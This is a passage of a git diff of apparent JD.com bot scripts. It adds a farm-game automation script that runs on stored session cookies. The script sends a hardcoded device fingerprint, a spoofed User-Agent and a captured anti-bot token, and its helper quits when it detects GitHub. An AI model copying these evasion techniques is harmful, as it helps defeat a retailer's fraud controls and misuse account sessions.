$.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); @@ -40,8 +40,12 @@ if ($.isNode()) { } continue } - await main(); - if (i == 0 && $.flag) return; + try { + await main(); + }catch (e) { + console.log(`好像账号黑号~~~`); + } + if ($.flag) return; } })().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) @@ -276,4 +280,4 @@ function TotalBean() { } // prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_try_notify.js b/jd_try_notify.js index c94afc4..8b9b71e 100644 --- a/jd_try_notify.js +++ b/jd_try_notify.js @@ -48,7 +48,7 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; $.canRun = true; - await TotalBean(); + //await TotalBean(); console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); diff --git a/jd_tyt.js b/jd_tyt.js index ac2501f..240fdad 100644 --- a/jd_tyt.js +++ b/jd_tyt.js @@ -38,7 +38,7 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; message = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); diff --git a/jd_tyt_ks.js b/jd_tyt_ks.js index 384c49d..46996d7 100644 --- a/jd_tyt_ks.js +++ b/jd_tyt_ks.js @@ -50,7 +50,7 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; $.isLogin = true; $.nickName = ''; message = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { diff --git a/jd_unsubscriLive.js b/jd_unsubscriLive.js index 4887a3f..1fb0878 100644 --- a/jd_unsubscriLive.js +++ b/jd_unsubscriLive.js @@ -43,7 +43,7 @@ if ($.isNode()) { $.index = i + 1; $.isLogin = true; $.nickName = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); diff --git a/jd_unsubscribe.js b/jd_unsubscribe.js index ceab670..ab68d74 100644 --- a/jd_unsubscribe.js +++ b/jd_unsubscribe.js @@ -88,7 +88,7 @@ let args_xh = { $.index = i + 1; $.isLogin = true; $.nickName = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); if(args_xh.except.includes($.UserName)){ console.log(`跳过账号:${$.nickName || $.UserName}`) diff --git a/jd_wsdlb.js b/jd_wsdlb.js new file mode 100644 index 0000000..1898e45 --- /dev/null +++ b/jd_wsdlb.js @@ -0,0 +1,480 @@ +/* + +[task_local] +入口 极速版 赚金币 种水果 +#极速版我是大老板农场 +export dlbtz="true" //通知打开 + +export dlbtz="false" //通知关闭 + +5 0-23/6 * * * jd_wsdlb.js, tag=极速版我是大老板农场, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + + +const $ = new Env('极速版我是大老板农场'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let allMessage = ''; +let dlbtz = false; //通知开关 +if (process.env.dlbtz) { + dlbtz = process.env.dlbtz; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + ck2 = cookiesArr[Math.round(Math.random()*5)]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + + await jdFruit() + + + + } + } +if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}` ) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFruit() { + + await info() + await dolist() + await apCollectWater() +if ($.info.data.firstJoinFlag === true) { + $.log("您忘了种植新的水果,快打开极速版种植吧") +if(dlbtz == true){ + allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n您忘了种植新的水果,内侧入口为:\n极速版-百元生活费-赚金币-下拉-水果免费领${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`;} +}else if ($.info.data.firstJoinFlag === false) { + + console.log(`\n当前种植水果:${$.info.data.plantInfo[0].cropName}\n当前阶段: ${$.info.data.plantInfo[0].nowStep}\n当前下一阶段还需要浇水:${$.info.data.plantInfo[0].upgradeWateringNum}次`) + if($.info.data.plantInfo[0].nowStep == 4){ + allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n当前种植水果可以收取了${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + await help($.info.data.encPin) + if(dlbtz == true){ + allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n当前种植水果:${$.info.data.plantInfo[0].cropName}\n当前阶段: ${$.info.data.plantInfo[0].nowStep}\n当前下一阶段还需要浇水:${$.info.data.plantInfo[0].upgradeWateringNum}次${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`;} + if (getwat.code === 0 ){ + $.log(`\n领取定时水滴:${getwat.data.collectWaterNumber}`) + + } + + if($.info.data.plantInfo[0].status == 0){ + $.log(`无需除草`) + }else + if($.info.data.plantInfo[0].status == 1){ + $.log(`需要除草`) + await chucao($.info.data.earthInfo[0].nowPlantId,$.info.data.encPin) + if(cc.errMsg == "success"){ + $.log(`除草成功`) + }else + if(cc.success == false){ + $.log(cc.errMsg) + //break + + } + } + + + if ($.do.code === 0){ + let taskList = $.do.data + for (let i = 0 ; i < taskList.length; i++){ + taskType = taskList[i].taskType + id = taskList[i].id + taskSourceUrl = taskList[i].taskSourceUrl + + await dotask(taskType,id,taskSourceUrl) + await dotask(taskType,id,"70511671722") + + if ($.qd.code === 2005 ){ + $.log(`\n${$.qd.errMsg}`) + + } + } + } + + await jiaoshui($.info.data.earthInfo[0].nowPlantId) + + if (watering.success === true ){ + $.log(parseInt(watering.data.property * 0.1)) + cs = parseInt(watering.data.property * 0.1) + if (cs > 0 ){ + for (let i = 0 ; i < cs; i++){ + await $.wait(3000) + await jiaoshui($.info.data.earthInfo[0].nowPlantId) + if (watering.code === 20004 ){ + $.log(`\n浇水水滴不足,快去做任务吧`) + //break + } + + if (watering.code === 0 ){ + $.log(`\n${watering.data.speedFarmPlantInfo.cropName}:\n还需水滴:${watering.data.speedFarmPlantInfo.nowStepNeedWater}\n还需浇水:${watering.data.speedFarmPlantInfo.upgradeWateringNum}`) + + } + +} + +} +} + + + + +} + + + +} + +function info() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com/?functionId=apHomePage&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh%2BPHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw%2F3GbroYtSX%2BYNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body=%7B%22linkId%22%3A%22fzf6tK4xMfE2ICK4-T_iUw%22%2C%22antiToken%22%3A%22oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V%2BdlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29%2BPU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR%2FendVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5%2BaA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs%2FUDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85%7C~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ%3D%3D~1~504~gpli%7Cdoei%3A%2C1%2C0%2C0%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%3Bdmei%3A%2C1%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%2C1000%2C-1000%3Bemc%3A%3Bemmm%3A%3Bemcf%3A%3Bivli%3A%3Biivl%3A%3Bivcvj%3A%3Bscvje%3A%3Bewhi%3A%3B1623230944718%2C1623230944817%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%3B88yh%22%2C%22frontendInitStatus%22%3A%22s%22%2C%22platform%22%3A1%7D&appid=activities_platform&t=1623230951258`, + +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + + $.info = JSON.parse(data); + + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + +function dotask(taskType,taskId,itemId) { + return new Promise(async (resolve) => { + + let options = { + url: 